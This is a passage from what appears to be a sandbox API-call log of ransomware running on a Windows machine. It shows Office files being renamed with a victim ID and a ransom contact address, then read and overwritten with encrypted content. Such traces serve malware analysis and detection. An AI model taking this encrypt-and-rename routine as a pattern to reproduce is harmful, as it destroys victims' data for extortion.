Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1058\\PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2f5de37a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11a84, dwReserved0=0x9647496, dwReserved1=0x72d3510, cFileName="PowerPivotExcelClientAddIn.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="POWERP~1.FIR")) returned 0x6d5280 [0177.052] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0177.052] Sleep (dwMilliseconds=0x1) [0177.064] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS", len=0x40 | out: pbstr=0x64bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS") returned 1 [0177.064] GetProcessHeap () returned 0x630000 [0177.064] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2b18) returned 0x707d3d0 [0177.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0177.124] CloseHandle (hObject=0x6ec) returned 1 [0177.124] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.124] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj.hxs.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.125] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.125] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b580a61, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b580a61, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b93a5c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x5eeb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="WINPROJ.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINPRO~3.FIR")) returned 0x6d5400 [0177.125] FindClose (in: hFindFile=0x6d5400 | out: hFindFile=0x6d5400) returned 1 [0177.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\winproj.hxs.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6ec [0177.125] GetProcessHeap () returned 0x630000 [0177.125] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6eef110 [0177.125] GetProcessHeap () returned 0x630000 [0177.125] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x72846e0 [0177.125] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.125] ReadFile (in: hFile=0x6ec, lpBuffer=0x6eef110, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6eef110*, lpNumberOfBytesRead=0x64bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0185.186] GetProcessHeap () returned 0x630000 [0185.186] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0185.186] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.186] WriteFile (in: hFile=0x6ec, lpBuffer=0x72846e0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x72846e0*, lpNumberOfBytesWritten=0x64bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0185.187] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.187] WriteFile (in: hFile=0x6ec, lpBuffer=0x728fadf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x728fadf*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0185.188] SetFilePointerEx (in: hFile=0x6ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.188] WriteFile (in: hFile=0x6ec, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0185.189] CloseHandle (hObject=0x6ec) returned 1 [0185.189] GetProcessHeap () returned 0x630000 [0185.189] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x72846e0 | out: hHeap=0x630000) returned 1 [0185.189] GetProcessHeap () returned 0x630000 [0185.189] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6eef110 | out: hHeap=0x630000) returned 1 [0185.190] GetProcessHeap () returned 0x630000 [0185.190] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0185.190] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0185.190] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\WINPROJ.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b580a61, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b580a61, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x345486ba, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5eedc, dwReserved0=0x9647496, dwReserved1=0x6eef108, cFileName="WINPROJ.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="WINPRO~3.FIR")) returned 0x6d4f00 [0185.190] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0185.190] Sleep (dwMilliseconds=0x1) [0185.199] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKY.CSS", len=0x3c | out: pbstr=0x64bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKY.CSS") returned 1 [0185.199] GetProcessHeap () returned 0x630000 [0185.199] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2a00) returned 0x707d3d0 [0185.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKY.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sky.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0185.199] CloseHandle (hObject=0x4bc) returned 1 [0185.200] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0185.200] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKY.CSS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sky.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKY.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sky.css.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0185.201] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0185.201] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKY.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x474a99c, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x474a99c, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x474a99c, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKYCSS~1.FIR")) returned 0x6d4f40 [0185.201] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0185.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKY.CSS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\sky.css.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0185.201] GetProcessHeap () returned 0x630000 [0185.201] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x695ed0 [0185.201] GetProcessHeap () returned 0x630000 [0185.201] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xd81) returned 0x6fa4008 [0185.201] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.201] ReadFile (in: hFile=0x4bc, lpBuffer=0x695ed0, nNumberOfBytesToRead=0xd60, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x695ed0*, lpNumberOfBytesRead=0x64bff0c*=0xd60, lpOverlapped=0x0) returned 1 [0185.215] GetProcessHeap () returned 0x630000 [0185.215] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0185.215] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.216] WriteFile (in: hFile=0x4bc, lpBuffer=0x6fa4008*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa4008*, lpNumberOfBytesWritten=0x64bff0c*=0xd60, lpOverlapped=0x0) returned 1 [0185.216] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.216] WriteFile (in: hFile=0x4bc, lpBuffer=0x6fa4d67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6fa4d67*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0185.216] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.216] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0185.216] CloseHandle (hObject=0x4bc) returned 1 [0185.216] GetProcessHeap () returned 0x630000 [0185.216] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fa4008 | out: hHeap=0x630000) returned 1 [0185.216] GetProcessHeap () returned 0x630000 [0185.216] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x695ed0 | out: hHeap=0x630000) returned 1 [0185.216] GetProcessHeap () returned 0x630000 [0185.216] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0185.216] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0185.217] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SKY.CSS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x474a99c, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x474a99c, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x34594a94, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xd9e, dwReserved0=0x9647496, dwReserved1=0x695ec8, cFileName="SKY.CSS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SKYCSS~1.FIR")) returned 0x6d5040 [0185.217] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0185.217] Sleep (dwMilliseconds=0x1) [0185.230] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SHAPNUM.VSL", len=0x40 | out: pbstr=0x64bff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SHAPNUM.VSL") returned 1 [0185.230] GetProcessHeap () returned 0x630000 [0185.230] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x29fc) returned 0x707d3d0 [0185.230] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\shapnum.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0185.231] CloseHandle (hObject=0x4bc) returned 1 [0185.231] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0185.231] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SHAPNUM.VSL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\shapnum.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SHAPNUM.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\shapnum.vsl.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0185.232] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0185.232] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SHAPNUM.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x332cc84, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x332cc84, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x332cc84, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xc4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SHAPNUM.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SHAPNU~1.FIR")) returned 0x6d5280 [0185.233] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0185.233] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SHAPNUM.VSL.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\shapnum.vsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0185.233] GetProcessHeap () returned 0x630000 [0185.233] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x708da18 [0185.233] GetProcessHeap () returned 0x630000 [0185.233] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x733ec68 [0185.233] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.233] ReadFile (in: hFile=0x4bc, lpBuffer=0x708da18, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x708da18*, lpNumberOfBytesRead=0x64bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0192.857] GetProcessHeap () returned 0x630000 [0192.857] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x71767c8 [0192.858] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0192.858] WriteFile (in: hFile=0x4bc, lpBuffer=0x733ec68*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x733ec68*, lpNumberOfBytesWritten=0x64bff0c*=0xb400, lpOverlapped=0x0) returned 1 [0194.184] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.185] WriteFile (in: hFile=0x4bc, lpBuffer=0x734a067*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x734a067*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0195.154] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0195.154] WriteFile (in: hFile=0x4bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0195.155] CloseHandle (hObject=0x4bc) returned 1 [0195.310] GetProcessHeap () returned 0x630000 [0195.310] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x733ec68 | out: hHeap=0x630000) returned 1 [0195.310] GetProcessHeap () returned 0x630000 [0195.310] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x708da18 | out: hHeap=0x630000) returned 1 [0195.311] GetProcessHeap () returned 0x630000 [0195.311] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71767c8 | out: hHeap=0x630000) returned 1 [0196.302] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.302] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\SHAPNUM.VSL.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfcc4 | out: lpFindFileData=0x64bfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x332cc84, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x332cc84, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x3a45bc89, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xc4dc, dwReserved0=0x9647496, dwReserved1=0x708da10, cFileName="SHAPNUM.VSL.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="SHAPNU~1.FIR")) returned 0x6d5480 [0196.302] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0196.302] Sleep (dwMilliseconds=0x1) [0196.316] SysReAllocStringLen (in: pbstr=0x64bff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT", len=0x3e | out: pbstr=0x64bff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT") returned 1 [0196.316] GetProcessHeap () returned 0x630000 [0196.316] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x47b0) returned 0x7133a90 [0196.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr5.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0196.428] CloseHandle (hObject=0x710) returned 1 [0196.428] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0196.428] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr5.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr5.xlt.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0197.019] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x64bef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0197.019] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x64bfc6c | out: lpFindFileData=0x64bfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADR5.XLT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ADR5XL~1.FIR")) returned 0x6d52c0 [0197.019] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0197.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr5.xlt.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0197.019] GetProcessHeap () returned 0x630000 [0197.019] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7821) returned 0x7059e30 [0197.020] GetProcessHeap () returned 0x630000 [0197.020] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7821) returned 0x732c838 [0197.020] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.020] ReadFile (in: hFile=0x710, lpBuffer=0x7059e30, nNumberOfBytesToRead=0x7800, lpNumberOfBytesRead=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7059e30*, lpNumberOfBytesRead=0x64bff0c*=0x7800, lpOverlapped=0x0) returned 1 [0201.557] GetProcessHeap () returned 0x630000 [0201.557] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73188a0 [0201.557] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.557] WriteFile (in: hFile=0x710, lpBuffer=0x732c838*, nNumberOfBytesToWrite=0x7800, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x732c838*, lpNumberOfBytesWritten=0x64bff0c*=0x7800, lpOverlapped=0x0) returned 1 [0201.558] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.558] WriteFile (in: hFile=0x710, lpBuffer=0x7334037*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x7334037*, lpNumberOfBytesWritten=0x64bff0c*=0x20, lpOverlapped=0x0) returned 1 [0201.558] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.558] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x64bff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x64bff0c*=0x4, lpOverlapped=0x0) returned 1 [0201.558] CloseHandle (hObject=0x710) returned 1 [0201.558] GetProcessHeap () returned 0x630000 [0201.558] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x732c838 | out: hHeap=0x630000) returned 1 [0201.559] GetProcessHeap () returned 0x630000 [0201.559] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7059e30 | out: hHeap=0x630000) returned 1 [0201.559] GetProcessHeap () returned 0x630000 